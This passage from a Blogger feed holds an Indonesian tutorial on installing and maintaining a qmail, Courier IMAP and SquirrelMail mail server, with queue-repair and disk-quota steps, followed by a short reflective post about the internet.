0/20 &lt;br /&gt;@400000003dc36fa70fa3ce9c delivery 1: success: did_1+0+0/ &lt;br /&gt;@400000003dc36fa70fa3e9f4 status: local 0/10 remote 0/20 &lt;br /&gt;@400000003dc36fa70fa614a4 end msg 224669 &lt;br /&gt;&lt;br /&gt;Jika anda mengubah hasil format log dari unix timestamps ke format yang lebih mudah dibaca oleh manusia, anda bisa piping dengan menggunakan tai64nlocal :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus asfik]# tail -f /var/log/qmail/current | tai64nlocal&lt;br /&gt;2002-11-02 13:24:29.244346500 info msg 224669: bytes 202 from &lt;asfik@kadal.edu&gt; qp 917 uid 503 &lt;br /&gt;2002-11-02 13:24:29.247310500 starting delivery 1: msg 224669 to local paijo@wedus.com &lt;br /&gt;2002-11-02 13:24:29.247419500 status: local 1/10 remote 0/20 &lt;br /&gt;2002-11-02 13:24:29.262393500 delivery 1: success: did_1+0+0/ &lt;br /&gt;2002-11-02 13:24:29.262400500 status: local 0/10 remote 0/20 &lt;br /&gt;2002-11-02 13:24:29.262542500 end msg 224669 &lt;br /&gt;&lt;br /&gt;Untuk membuktikan email sudah sampai dengan selamat di mailbox paijo : &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus asfik]# ls ~paijo/Maildir/new/ &lt;br /&gt;1036218269.921.gibas.wedus.com &lt;br /&gt;[root@wedus asfik]# cat ~paijo/Maildir/new/1036218269.921.gibas.wedus.com &lt;br /&gt;Return-Path: &lt;asfik@kadal.edu&gt; &lt;br /&gt;Delivered-To: paijo@wedus.com&lt;br /&gt;Received: (qmail 917 invoked from network); 2 Nov 2002 06:24:08 -0000 &lt;br /&gt;Received: from unknown (127.0.0.1)   &lt;br /&gt;by localhost with SMTP; 2 Nov 2002 06:24:08 -0000 &lt;br /&gt;Subject: Ini mengetest saja lho :)&lt;br /&gt;ini budi &lt;br /&gt;&lt;br /&gt;Lalu kita periksa apakah email tersebut sudah masuk ke dalam mailbox asfik@kadal.edu, anda bisa menggunakan POP3 client, misalnya Eudora, sebagai accoutname atau username untuk authentikasi ke server silakan gunakan user paijo, atau anda juga bisa melalui old-fashioned-way, telnet port 110 di localhost :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus asfik]# telnet localhost 110 &lt;br /&gt;Trying 127.0.0.1... &lt;br /&gt;Connected to localhost. &lt;br /&gt;Escape character is '^]'. &lt;br /&gt;+OK &lt;961.1036219059@wedus.gibas.com&gt; &lt;br /&gt;user paijo &lt;br /&gt;+OK &lt;br /&gt;pass 123 &lt;br /&gt;+OK &lt;br /&gt;list &lt;br /&gt;+OK &lt;br /&gt;1 273 &lt;br /&gt;. &lt;br /&gt;retr 1 &lt;br /&gt;+OK &lt;br /&gt;Return-Path: &lt;asfik@kadal.edu&gt; &lt;br /&gt;Delivered-To: paijo@wedus.com &lt;br /&gt;Received: (qmail 917 invoked from network); 2 Nov 2002 06:24:08 -0000 &lt;br /&gt;Received: from unknown (127.0.0.1)   &lt;br /&gt;by localhost with SMTP; 2 Nov 2002 06:24:08 -0000 &lt;br /&gt;Subject: Ini mengetest saja lho :)&lt;br /&gt;ini budi&lt;br /&gt;. &lt;br /&gt;quit &lt;br /&gt;+OK Connection closed by foreign host. &lt;br /&gt;&lt;br /&gt;Disitu kita lihat email sudah masuk dengan sukses. Untuk melakukan penambahan account email yang lain silakan mengulangi langkah-langkah diatas. Jika anda tidak mempunyai rencana untuk memberikan akses webmail kepada user anda, anda telah selesai menginstall qmail. Untuk melaporkan sukses dalam installasi anda :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus asfik]#(echo 'Nama Anda tulis disini'; uname -a) | mail asfik-docs@darkstars.org &lt;br /&gt;2. Instalasi Courier Imap&lt;br /&gt;&lt;br /&gt;Courier Imap, sesuai dengan namanya adalah sebuah IMAP server, yaitu sebuah IMAP server yang mendukung format penyimpanan email dengan menggunakan format Maildir. Dalam hal ini tujuan kita menggunakan Courier Imap adalah untuk backend dari webmail squirrelmail. Donwload courier-imap, ekstrak sourcenya, dan kita kompilasi :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# wget http://unc.dl.sourceforge.net/sourceforge/courier/courier-imap-1.5.3.tar.gz &lt;br /&gt;[root@wedus src]# tar -xzvf courier-imap-1.5.3.tar.gz &lt;br /&gt;[root@wedus src]# cd courier-imap-1.5.3 &lt;br /&gt;[root@wedus courier-imap-1.5.3]# ./configure --disable-root-check --without-authdaemon --with-authpam --enable-workarounds-for-imap-client-bugs&lt;br /&gt;[root@wedus courier-imap-1.5.3]# make &lt;br /&gt;[root@wedus courier-imap-1.5.3]# make install &lt;br /&gt;&lt;br /&gt;Kita tidak membutuhkan module authentikasi yang lain, selain authpam, jadi ya dihapus saja :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus courier-imap-1.5.3]# rm -rf /usr/lib/courier-imap/libexec/authlib/*&lt;br /&gt;&lt;br /&gt;Salin modu authpam yang telah kita kompilasi diatas ke direktori modul authentikasi untuk imap servernya :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus courier-imap-1.5.3]# cp authlib/authpam /usr/lib/courier-imap/libexec/authlib/ &lt;br /&gt;&lt;br /&gt;Salin file konfigurasi standar dari courier-imap :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus courier-imap-1.5.3]# cp /usr/lib/courier-imap/etc/imapd.dist /usr/lib/courier-imap/etc/imapd &lt;br /&gt;[root@wedus courier-imap-1.5.3]# cp /usr/lib/courier-imap/etc/imapd-ssl.dist /usr/lib/courier-imap/etc/imapd-ssl &lt;br /&gt;&lt;br /&gt;Edit file /usr/lib/courier-imap/etc/imapd , karena courier imap ini hanya digunakan untuk webmail ganti pada baris ADDRESS=0 menjadi ADDRESS=127.0.0.1 . Jika webmail anda adalah webmail yang sibuk, anda bisa menaikkan variabel MAXDAEMONS dan MAXPERIP, yang terpenting adalah ganti pada AUTHMODULES="authdaemon" menjadi AUTHMODULES="authpam":&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus courier-imap-1.5.3]# vi /usr/lib/courier-imap/etc/imapd &lt;br /&gt;&lt;br /&gt;Start daemon courier-imap :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus courier-imap-1.5.3]# /usr/lib/courier-imap/libexec/imapd.rc start &lt;br /&gt;&lt;br /&gt;Anda bisa memeriksa apakah servise courier-imap anda sudah berjalan semestinya, kita gunakan perintah ps :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus courier-imap-1.5.3]# ps ax | grep imap &lt;br /&gt;2049 ? S 0:00 /usr/lib/courier-imap/libexec/couriertcpd -address=12 &lt;br /&gt;2052 ? S 0:00 /usr/lib/courier-imap/libexec/courierlogger imapd &lt;br /&gt;&lt;br /&gt;Agar setiap reboot daemon courier-imap dijalankan secara otomatis :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus courier-imap-1.5.3]# echo "/usr/lib/courier-imap/libexec/imapd.rc start" &gt;&gt; /etc/rc.local&lt;br /&gt;3. Instalasi Squirrelmail&lt;br /&gt;&lt;br /&gt;Menurut file INSTALL dari distribusi Squirrelmail, software ini membutuhkan php4 yang minimal dikompilasi dengan opsi --enable-track-vars --enable-force-cgi-redirect --with-gettext serta membutuhkan register_global=On dan file_uploads = On di php.ini (jika php anda menggunakan default RPM Redhat file php.ini terletak didirektori /etc). Download dan ekstrak paket squirrelmail :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# wget http://unc.dl.sourceforge.net/sourceforge/squirrelmail/squirrelmail-1.2.8.tar.gz&lt;br /&gt;[root@wedus src]# tar -xzvf squirrelmail-1.2.8.tar.gz &lt;br /&gt;&lt;br /&gt;Tentukan letak direktori squirrelmail, misalnya disini saya letakkan didirektori /usr/local/httpd/htdocs/sqmail sehingga akan bisa diakses melalui http://www.wedus.com/sqmail&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# mv squirrelmail-1.2.8 /usr/local/httpd/htdocs/sqmail&lt;br /&gt;&lt;br /&gt;Tentukan user dan group yang menjalankan proses apache :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# egrep '^(User|Group)' /usr/local/httpd/conf/httpd.conf &lt;br /&gt;User www &lt;br /&gt;Group www &lt;br /&gt;&lt;br /&gt;Dari perintah diatas kita peroleh user www dan group www, kemudian ganti kepemilikan direktori /usr/local/httpd/htdocs/sqmail/data menjadi user www dan group www :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# chown -R www.www /usr/local/httpd/htdocs/sqmail/data/ &lt;br /&gt;&lt;br /&gt;Salin file konfigurasi standar ke file konfigurasi squirrelmail :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# cp /usr/local/httpd/htdocs/sqmail/config/config_default.php /usr/local/httpd/htdocs/sqmail/config/config.php &lt;br /&gt;&lt;br /&gt;Edit file tersebut dari $domain = 'mydomain.com'; menjadi$domain = 'wedus.com'; dan $imap_server_type = 'cyrus';menjadi $imap_server_type = 'courier'; :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# vi /usr/local/httpd/htdocs/sqmail/config/config.php &lt;br /&gt;&lt;br /&gt;Atau jika anda mengalami kesulitan dalam mengkonfigurasi squirrelmail secara manual, anda bisa menggunakan script perl yang disertakan oleh squirrelmail, pada direktori config :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# cd /usr/local/httpd/htdocs/sqmail/config &lt;br /&gt;[root@wedus config]# ./conf.pl &lt;br /&gt;&lt;br /&gt;Kemudian silakan dicoba dengan browser anda, misalnya http://www.wedus.com/sqmail, kemudian masukkan user yang telah anda buat misalnya paijo kemudian anda bisa mengganti Personal Information atau Folder Preferences dari menu Options. &lt;br /&gt;4. Lain-lain&lt;br /&gt;&lt;br /&gt;Didalam penggunaannya, terkadang qmail menemui suatu masalah, misalnya queue macet atau menumpuk, atau mailbox anda dispam dan kemudian bounce ke alamat yang tidak ketahuan jluntrung dan sangkan parannya ataupun tiba-tiba struktur direktori queue anda rusak. Atau anda punya gagasan untuk membatasi total pemakain harddisk untuk suatu domain. &lt;br /&gt;4.1 qmHandle&lt;br /&gt;&lt;br /&gt;qmHandle digunakan untuk melihat direktori queue ataupun menghapus dan melihat suatu email di direktori queue. Program ini membutuhkan perl, jadi silakan diperiksa distro linux kesayangan anda, apakah sudah terinstall perl atau belum.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# wget http://www.io.com/~mick/soft/qmHandle-0.5.1.tar.gz &lt;br /&gt;[root@wedus src]# tar -xzvf qmHandle-0.5.1.tar.gz &lt;br /&gt;&lt;br /&gt;Edit file qmHandle :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# vi qmHandle&lt;br /&gt;&lt;br /&gt;Hapus atau beri tanda "#" pada baris ini :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$qmcmd = "csh -cf '/var/qmail/rc &amp;'";&lt;br /&gt;&lt;br /&gt;Unmark/uncommnet (hilangkan tanda "#") pada baris ini :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$qmcmd = '/etc/init.d/qmail start';&lt;br /&gt;&lt;br /&gt;Atau jika anda tidak menggunakan init untuk memulai qmail :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$qmcmd = '/usr/bin/qmailctl start';&lt;br /&gt;&lt;br /&gt;Pindahkan file binari nya ke direktori /usr/sbin atau direktori dimana anda ingat file tsb dan masuk lingkungan $PATH anda :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# mv qmHandle /usr/sbin/ &lt;br /&gt;&lt;br /&gt;Jika tidak ada email yang menyangkut di direktori queue, hasil perintah qmHandle -l -c adalah :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# qmHandle -l -c&lt;br /&gt;Messages in local queue: 0 &lt;br /&gt;Messages in remote queue: 0 &lt;br /&gt;&lt;br /&gt;Misalkan ada sebuah email yang bounce dan numpuk direktori queue :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# qmHandle -l -c&lt;br /&gt;15643 (3, R) &lt;br /&gt;Return-path: &lt;br /&gt;From: MAILER-DAEMON@gibas.wedus.com&lt;br /&gt;To: lVKXwgvIgtQ3BL6d2TeG27oGW_yy@reply.yahoo.com &lt;br /&gt;Subject: failure notice &lt;br /&gt;Date: 30 Oct 2002 01:26:58 -0000 &lt;br /&gt;Size: 14634 bytes &lt;br /&gt;&lt;br /&gt;Dan anda ingin menghapusnya (nomor 15643 didapat dari hasil diatas):&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# qmHandle -d15643&lt;br /&gt;Terminating qmail (pid 491)... this might take a while if qmail is working. &lt;br /&gt;Restarting qmail... Starting qmail done (hopefully). &lt;br /&gt;&lt;br /&gt;Untuk menghapus beberapa nomor sekaligus (misalnya nomor 1,2,3) anda bisa menggunakan qmHandle -d1 -d2 -d3 untuk menghapusnya, untuk penggunaan lebih lanjut qmHandle -h&lt;br /&gt;4.2 queue-fix&lt;br /&gt;&lt;br /&gt;Jika direktori queue anda tiba-tiba membengkak dan banyak antrian di queue, mungkin mailbox anda ada yang terkena spam atau virus atau diserang (let's say dibomb lah). Anda bisa melihat salah satu message email yang terkena spam/virus/bomb tersebut dengan qmHandle. Tapi jika jumlah message banyak menghapus dengan qmHandle adalah pekerjaan yang melelahkan :), solusinya mungkin bisa dengan menghapus direktori queue yang lama dan mengganti dengan direktori queue yang baru.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# wget http://www.netmeridian.com/e-huss/queue-fix.tar.gz &lt;br /&gt;[root@wedus src]# tar -xzvf queue-fix.tar.gz &lt;br /&gt;[root@wedus src]# cd queue-fix-1.4/ &lt;br /&gt;[root@wedus queue-fix-1.4]# make &lt;br /&gt;&lt;br /&gt;Pindahkan file binari nya ke direktori /usr/sbin atau direktori dimana anda ingat file tsb dan masuk lingkungan $PATH anda :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus queue-fix-1.4]# cp queue-fix /usr/sbin/ &lt;br /&gt;&lt;br /&gt;Jika anda ingin membetulkan struktur direktori queue qmail saja :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus queue-fix-1.4]# qmailctl stop&lt;br /&gt;[root@wedus queue-fix-1.4]# queue-fix -i /var/qmail/queue/ &lt;br /&gt;[root@wedus queue-fix-1.4]# qmailctl start&lt;br /&gt;&lt;br /&gt;Jika anda ingin mengganti (menghapus yang lama dan membuat yang baru) struktur direktori queue qmail, perintah mv ditujukan untuk membackup direktori queue jika suatu saat nanti akan dilakukan investigasi dari pihak berwajib (anda?):&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus queue-fix-1.4]# qmailctl stop&lt;br /&gt;[root@wedus queue-fix-1.4]# mv /var/qmail/queue/ /var/qmail/old-queue&lt;br /&gt;[root@wedus queue-fix-1.4]# mkdir /var/qmail/queue/ &lt;br /&gt;[root@wedus queue-fix-1.4]# queue-fix -i /var/qmail/queue/ &lt;br /&gt;[root@wedus queue-fix-1.4]# qmailctl start&lt;br /&gt;4.3 Quota per user (account email)&lt;br /&gt;&lt;br /&gt;Tujuannya adalah membatasi pemakaian harddisk untuk suatu user (account email). Bagaimana cara mengatur quota pada linux dengan baik dan benar, silakan kunjungi http://www.tldp.org/HOWTO/mini/Quota.html. Jika misalnya partisini /home anda sudah terpisah dan direktori /home anda akan diquota maka pada file /etc/fstab anda ubah dari :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;LABEL=/home /home ext3 defaults 1 2 &lt;br /&gt;&lt;br /&gt;Menjadi :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;LABEL=/home /home ext3 defaults,usrquota 1 2 &lt;br /&gt;&lt;br /&gt;Buat file kosong pada partisi /home ganti modenya menjadi 700 :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus asfik]# touch /home/aquota.user&lt;br /&gt;[root@wedus asfik]# chmod 700 /home/aquota.user&lt;br /&gt;&lt;br /&gt;Reboot Linux anda, pastikan setiap reboot akan menjalankan quotaon, default pada Redhat sudah dimasukkan dalam file /etc/rc.d/rc.sysinit . Lakukan quotacheck sebelum melakukan penambahan quota :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus asfik]# quotacheck -avugfm &lt;br /&gt;&lt;br /&gt;Test apakah quota sudah terpasang dengan semestinya :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus asfik]# quota -uv root &lt;br /&gt;Disk quotas for user root (uid 0):      &lt;br /&gt;Filesystem  blocks   quota   limit   grace   files   quota   limit   grace     &lt;br /&gt; /dev/hda8  135052       0       0            3545       0       0 &lt;br /&gt;&lt;br /&gt;Jika belum terpasang maka hasil keluaran perintah diatas adalah :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus asfik]# quota -uv root &lt;br /&gt;Disk quotas for user root (uid 0): none &lt;br /&gt;&lt;br /&gt;Sekarang kita coba untuk memberi quota pada user paijo misalnya sebesar 10 MB :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus asfik]# setquota -u paijo 10240 10240 0 0  /home &lt;br /&gt;[root@wedus asfik]# quota -uv paijo &lt;br /&gt;Disk quotas for user paijo (uid 188): &lt;br /&gt;Filesystem blocks quota limit grace files quota limit grace &lt;br /&gt;/dev/hda7 496 10000 10000 none 212 0 0 &lt;br /&gt;&lt;br /&gt;Jika suatu saat user paijo telah melebihi quota (ditunjukkan dengan tanda * pada hasil keluaran perintah quota) yang kita berikan maka semua email yang dikirm ke email paijo@wedus.com tersebut akan dibounce ke sendernya (dikirim balik ke pengirimnya) :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus asfik]# quota -uv paijo&lt;br /&gt;Disk quotas for user paijo (uid 188): &lt;br /&gt;Filesystem blocks quota limit grace files quota limit grace &lt;br /&gt;/dev/hda7 11496* 10000 10000 none 212 0 0 &lt;br /&gt;&lt;br /&gt;Hasil dari perintah tail -f /var/log/qmail/current yang menunjukkan suatu email dibounce :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus asfik]# tail -f /var/log/qmail/current &lt;br /&gt;@400000003dbf7bb835dc0084 info msg 48056: bytes 890 from &lt;asfik@kadal.edu&gt; qp 21917 uid 908 &lt;br /&gt;@400000003dbf7bb837ca6ebc starting delivery 36258: msg 48056 to local paijo@wedus.com&lt;br /&gt;@400000003dbf7bb837ca95cc status: local 1/10 remote 2/20 &lt;br /&gt;@400000003dbf7bb8382e54f4 delivery 36258: failure: Recipient's_mailbox_is_full,_message_returned_to_sender._(#5.2.2)/ &lt;br /&gt;@400000003dbf7bb8382e7434 status: local 0/10 remote 2/20 &lt;br /&gt;@400000003dbf7bb9003b0f24 bounce msg 48056 qp 21921 &lt;br /&gt;@400000003dbf7bb9003b2a7c end msg 48056 &lt;br /&gt;@400000003dbf7bb9003b324c new msg 48058 &lt;br /&gt;@400000003dbf7bb9003b3634 info msg 48058: bytes 1453 from &lt;&gt; qp 21921 uid 914 @400000003dbf7bb901b55ecc starting delivery 36259: msg 48058 to remote asfik@kadal.edu @400000003dbf7bb901b57a24 status: local 0/10 remote 3/20 &lt;br /&gt;@400000003dbf7bbe19c42354 delivery 36259: success: 10.126.10.13_accepted_message./Remote_host_said:_250_Ok:_queued_as_04CF6329D2/ @400000003dbf7bbe19c44a64 status: local 0/10 remote 2/20 &lt;br /&gt;@400000003dbf7bbe19c45234 end msg 48058 &lt;br /&gt;&lt;br /&gt;Jika tidak (belum) bekerja sebagaimana mestinya, silakan anda kunjungi site quota mini howto tersebut diatas. Happy reading :)&lt;br /&gt;5. ChangeLog&lt;br /&gt;&lt;br /&gt;30 Juli 2003&lt;br /&gt;&lt;br /&gt;Minor updates, update patch pada glibc di Redhat 9 &lt;br /&gt;&lt;br /&gt;08 Nopember 2002&lt;br /&gt;&lt;br /&gt;Pembetulan baris yang terlalu panjang sehingga format PDF menjadi berantakan &lt;br /&gt;&lt;br /&gt;02 Nopember 2002&lt;br /&gt;&lt;br /&gt;Penulisan tutorial installasi qmail, courier-imap, dan squirrelmail ini dimulai &lt;br /&gt;6. Referensi&lt;br /&gt;&lt;br /&gt;http://www.lifewithqmail.org&lt;br /&gt;http://www.qmail.org&lt;br /&gt;http://www.courier-mta.org/&lt;br /&gt;http://www.squirrelmail.org&lt;br /&gt;File INSTALL, README dan direktori docs pada setiap distribusi paket&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11073072-111019871231954217?l=yudhax.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yudhax.blogspot.com/feeds/111019871231954217/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11073072&amp;postID=111019871231954217' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111019871231954217'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111019871231954217'/><link rel='alternate' type='text/html' href='http://yudhax.blogspot.com/2005/03/tutorial-instalasi-qmail-courier-imap.html' title='Tutorial instalasi Qmail, Courier Imap, dan Squirrelmail'/><author><name>y u d h a x</name><uri>http://www.blogger.com/profile/11288479023899701739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11073072.post-110933840646726988</id><published>2005-02-25T05:33:00.000-08:00</published><updated>2005-02-25T05:33:26.470-08:00</updated><title type='text'>i am</title><content type='html'>Apa yang kamu tanyakan pada dirimu didunia maya?&lt;br /&gt;sebagaimana kamu mencoba mengartikan keberadaan dunia maya didalam pikiranmu, pada dasarnya tak akan dapat mencapai kesempurnaan diatas yang paling tinggi.&lt;br /&gt;&lt;br /&gt; pada dasarnya dunia maya hanya tergolong dunia semu, dalam dunia maya hanya tabiat tabu dan tak baku. &lt;br /&gt;&lt;br /&gt;Dunia maya hanya dunia yang tersingkir dari perasaan pikiran kita semua, dnia yang keberadaanya sangatlah terpenting dari sebagian penduduknya,&lt;br /&gt;&lt;br /&gt;dan 1 hal lagi untuk perlu diketahui .... &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                    DUNIA MAYA / INTERNET ADALAH DUNIA NYATA &lt;br /&gt;------------------------------------------------------------------------------------&lt;br /&gt;                               yudhax Corp 2005&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11073072-110933840646726988?l=yudhax.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yudhax.blogspot.com/feeds/110933840646726988/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11073072&amp;postID=110933840646726988' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/110933840646726988'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/110933840646726988'/><link rel='alternate' type='text/html' href='http://yudhax.blogspot.com/2005/02/i-am_25.html' title='i am'/><author><name>y u d h a x</name><uri>http://www.blogger.com/profile/11288479023899701739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
